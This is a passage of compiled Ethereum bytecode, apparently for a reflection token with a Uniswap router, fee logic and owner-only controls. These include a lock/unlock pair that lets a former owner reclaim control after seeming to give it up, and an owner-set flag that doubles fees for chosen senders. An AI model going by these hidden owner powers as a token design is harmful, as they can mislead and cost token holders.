3ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110f7565b60405180821515815260200191505060405180910390f35b34801561041057600080fd5b5061041961114d565b6040518082815260200191505060405180910390f35b34801561043b57600080fd5b50610444611157565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047c57600080fd5b5061048561117b565b6040518082815260200191505060405180910390f35b3480156104a757600080fd5b50610514600480360360608110156104be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611185565b60405180821515815260200191505060405180910390f35b34801561053857600080fd5b506105656004803603602081101561054f57600080fd5b810190808035906020019092919050505061125e565b6040518082815260200191505060405180910390f35b34801561058757600080fd5b506105906112e2565b604051808260ff16815260200191505060405180910390f35b3480156105b557600080fd5b506105f8600480360360208110156105cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f9565b005b34801561060657600080fd5b506106536004803603604081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611683565b60405180821515815260200191505060405180910390f35b34801561067757600080fd5b50610680611736565b6040518082815260200191505060405180910390f35b3480156106a257600080fd5b506106cf600480360360208110156106b957600080fd5b810190808035906020019092919050505061173c565b005b3480156106dd57600080fd5b50610720600480360360208110156106f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118cd565b005b34801561072e57600080fd5b506107376119f0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561076f57600080fd5b506107a86004803603604081101561078657600080fd5b8101908080359060200190929190803515159060200190929190505050611a1a565b6040518082815260200191505060405180910390f35b3480156107ca57600080fd5b5061080d600480360360208110156107e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ad1565b005b34801561081b57600080fd5b50610824611c84565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561085c57600080fd5b50610865611ca8565b60405180821515815260200191505060405180910390f35b34801561088957600080fd5b506108cc600480360360208110156108a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cbb565b005b3480156108da57600080fd5b5061091d600480360360208110156108f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fd5565b60405180821515815260200191505060405180910390f35b34801561094157600080fd5b5061094a61202b565b6040518082815260200191505060405180910390f35b34801561096c57600080fd5b506109af6004803603602081101561098357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612031565b6040518082815260200191505060405180910390f35b3480156109d157600080fd5b506109da61211c565b005b3480156109e857600080fd5b506109f16122a2565b6040518082815260200191505060405180910390f35b348015610a1357600080fd5b50610a5660048036036020811015610a2a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122a8565b60405180821515815260200191505060405180910390f35b348015610a7a57600080fd5b50610a836122fe565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610abb57600080fd5b50610ac4612327565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610afc57600080fd5b50610b05612351565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b45578082015181840152602081019050610b2a565b50505050905090810190601f168015610b725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610b8c57600080fd5b50610bd960048036036040811015610ba357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506123f3565b60405180821515815260200191505060405180910390f35b348015610bfd57600080fd5b50610c066124c0565b005b348015610c1457600080fd5b50610c6160048036036040811015610c2b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506126dd565b60405180821515815260200191505060405180910390f35b348015610c8557600080fd5b50610c8e6126fb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610cc657600080fd5b50610ccf612725565b6040518082815260200191505060405180910390f35b348015610cf157600080fd5b50610d2060048036036020811015610d0857600080fd5b8101908080351515906020019092919050505061272f565b005b348015610d2e57600080fd5b50610d5b60048036036020811015610d4557600080fd5b810190808035906020019092919050505061284d565b005b348015610d6957600080fd5b50610dcc60048036036040811015610d8057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a3e565b6040518082815260200191505060405180910390f35b348015610dee57600080fd5b50610e3160048036036020811015610e0557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ac5565b005b348015610e3f57600080fd5b50610e8260048036036020811015610e5657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612be8565b005b606060108054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f1c5780601f10610ef157610100808354040283529160200191610f1c565b820191906000526020600020905b815481529060010190602001808311610eff57829003601f168201915b5050505050905090565b6000610f3a610f33612d0b565b8484612d13565b6001905092915050565b610f4c612d0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110b3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806151d1602a913960400191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600f54905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600d54905090565b6000611192848484612f0a565b6112538461119e612d0b565b61124e8560405180606001604052806028815260200161512760289139600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611204612d0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133e79092919063ffffffff16565b612d13565b600190509392505050565b6000600e548211156112bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180615069602a913960400191505060405180910390fd5b60006112c56134a7565b90506112da81846134d290919063ffffffff16565b915050919050565b6000601260009054906101000a900460ff16905090565b611301612d0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600b60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611480576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600c8054905081101561167f578173ffffffffffffffffffffffffffffffffffffffff16600c82815481106114b457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561167257600c6001600c80549050038154811061151057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600c828154811061154857fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600c80548061163857fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055905561167f565b8080600101915050611483565b5050565b600061172c611690612d0b565b8461172785600860006116a1612d0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461351c90919063ffffffff16565b612d13565b6001905092915050565b60135481565b6000611746612d0b565b9050600b60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180615244602c913960400191505060405180910390fd5b60006117f6836135a4565b5050505050905061184f81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461360090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a781600e5461360090919063ffffffff16565b600e819055506118c283600f5461351c90919063ffffffff16565b600f81905550505050565b6118d5612d0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611995576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600d54831115611a94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81611ab4576000611aa4846135a4565b5050505050905080915050611acb565b6000611abf846135a4565b50505050915050809150505b92915050565b611ad9612d0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603381526020018061519e6033913960400191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f00000000000000000000000018d27a4ec9faae7d0c217a0e602cd1d0d0434eda81565b601960019054906101000a900460ff1681565b611cc3612d0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600b60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e43576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611f1757611ed3600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461125e565b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600c819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60155481565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156120cc57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050612117565b612114600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461125e565b90505b919050565b612124612d0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601a5481565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060118054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123e95780601f106123be576101008083540402835291602001916123e9565b820191906000526020600020905b8154815290600101906020018083116123cc57829003601f168201915b5050505050905090565b60006124b6612400612d0b565b846124b185604051806060016040528060258152602001615293602591396008600061242a612d0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133e79092919063ffffffff16565b612d13565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612566576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806152706023913960400191505060405180910390fd5b60055442116125dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f6e7472616374206973206c6f636b656420756e74696c203720646179730081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006126f16126ea612d0b565b8484612f0a565b6001905092915050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600554905090565b612737612d0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601960016101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405180821515815260200191505060405180910390a150565b612855612d0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612915576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550804201600581905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612acd612d0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b612bf0612d0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612cb0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612d99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806152206024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612e1f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806150936022913960400191505060405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612f90576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806151fb6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613016576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806150466023913960400191505060405180910390fd5b61301e612327565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156130a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806150b56029913960400191505060405180910390fd5b6130aa612327565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561312e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806151786026913960400191505060405180910390fd5b60008111613187576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061514f6029913960400191505060405180910390fd5b61318f6122fe565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156131fd57506131cd6122fe565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561325e57601a5481111561325d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806150de6028913960400191505060405180910390fd5b5b600061326930612031565b9050601a54811061327a57601a5490505b6000601b54821015905080801561329e5750601960009054906101000a900460ff16155b80156132f657507f00000000000000000000000018d27a4ec9faae7d0c217a0e602cd1d0d0434eda73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561330e5750601960019054906101000a900460ff165b1561332257601b5491506133218261364a565b5b600060019050600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806133c95750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156133d357600090505b6133df868686846137ba565b505050505050565b6000838311158290613494576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561345957808201518184015260208101905061343e565b50505050905090810190601f1680156134865780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006134b4613af9565b915091506134cb81836134d290919063ffffffff16565b9250505090565b600061351483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613d8a565b905092915050565b60008082840190508381101561359a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008060008060008060008060006135bb8a613e50565b92509250925060008060006135d98d86866135d46134a7565b613eaa565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b600061364283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506133e7565b905092915050565b6001601960006101000a81548160ff021916908315150217905550600061367b6002836134d290919063ffffffff16565b90506000613692828461360090919063ffffffff16565b905060004790506136a283613f33565b60006136b7824761360090919063ffffffff16565b905060006136e860646136da6136cb6141e1565b856141eb90919063ffffffff16565b6134d290919063ffffffff16565b90506000613719606461370b6136fc6141e1565b886141eb90919063ffffffff16565b6134d290919063ffffffff16565b905061372e828461360090919063ffffffff16565b9250613743818661360090919063ffffffff16565b945061374f8584614271565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56186848760405180848152602001838152602001828152602001935050505060405180910390a15050505050506000601960006101000a81548160ff02191690831515021790555050565b806137c8576137c76143c2565b5b6137d1846110f7565b156137df576137de614405565b5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156138825750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561389757613892848484614470565b613ace565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561393a5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561394f5761394a8484846146d0565b613acd565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156139f35750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613a0857613a03848484614930565b613acc565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613aaa5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613abf57613aba848484614afb565b613acb565b613aca848484614930565b5b5b5b5b80613adc57613adb614df0565b5b613ae5846110f7565b15613af357613af2614df0565b5b50505050565b6000806000600e5490506000600d54905060005b600c80549050811015613d4d578260066000600c8481548110613b2c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613c1357508160076000600c8481548110613bab57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613c2a57600e54600d5494509450505050613d86565b613cb360066000600c8481548110613c3e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461360090919063ffffffff16565b9250613d3e60076000600c8481548110613cc957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361360090919063ffffffff16565b91508080600101915050613b0d565b50613d65600d54600e546134d290919063ffffffff16565b821015613d7d57600e54600d54935093505050613d86565b81819350935050505b9091565b60008083118290613e36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613dfb578082015181840152602081019050613de0565b50505050905090810190601f168015613e285780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613e4257fe5b049050809150509392505050565b600080600080613e5f85614e04565b90506000613e6c86614e35565b90506000613e9582613e87858a61360090919063ffffffff16565b61360090919063ffffffff16565b90508083839550955095505050509193909250565b600080600080613ec385896141eb90919063ffffffff16565b90506000613eda86896141eb90919063ffffffff16565b90506000613ef187896141eb90919063ffffffff16565b90506000613f1a82613f0c858761360090919063ffffffff16565b61360090919063ffffffff16565b9050838184965096509650505050509450945094915050565b6060600267ffffffffffffffff81118015613f4d57600080fd5b50604051908082528060200260200182016040528015613f7c5781602001602082028036833780820191505090505b5090503081600081518110613f8d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561402d57600080fd5b505afa158015614041573d6000803e3d6000fd5b505050506040513d602081101561405757600080fd5b81019080805190602001909291905050508160018151811061407557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506140da307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612d13565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561419c578082015181840152602081019050614181565b505050509050019650505050505050600060405180830381600087803b1580156141c557600080fd5b505af11580156141d9573d6000803e3d6000fd5b505050505050565b6000601654905090565b6000808314156141fe576000905061426b565b600082840290508284828161420f57fe5b0414614266576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806151066021913960400191505060405180910390fd5b809150505b92915050565b61429c307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612d13565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806142e66126fb565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561436b57600080fd5b505af115801561437f573d6000803e3d6000fd5b50505050506040513d606081101561439657600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050505050565b60006013541480156143d657506000601554145b156143e057614403565b601354601481905550601554601781905550600060138190555060006015819055505b565b600060135414801561441957506000601554145b156144235761446e565b60135460148190555060155460178190555061444b60026015546141eb90919063ffffffff16565b60158190555061446760026013546141eb90919063ffffffff16565b6013819055505b565b600080600080600080614482876135a4565b9550955095509550955095506144e087600760008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461360090919063ffffffff16565b600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061457586600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461360090919063ffffffff16565b600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555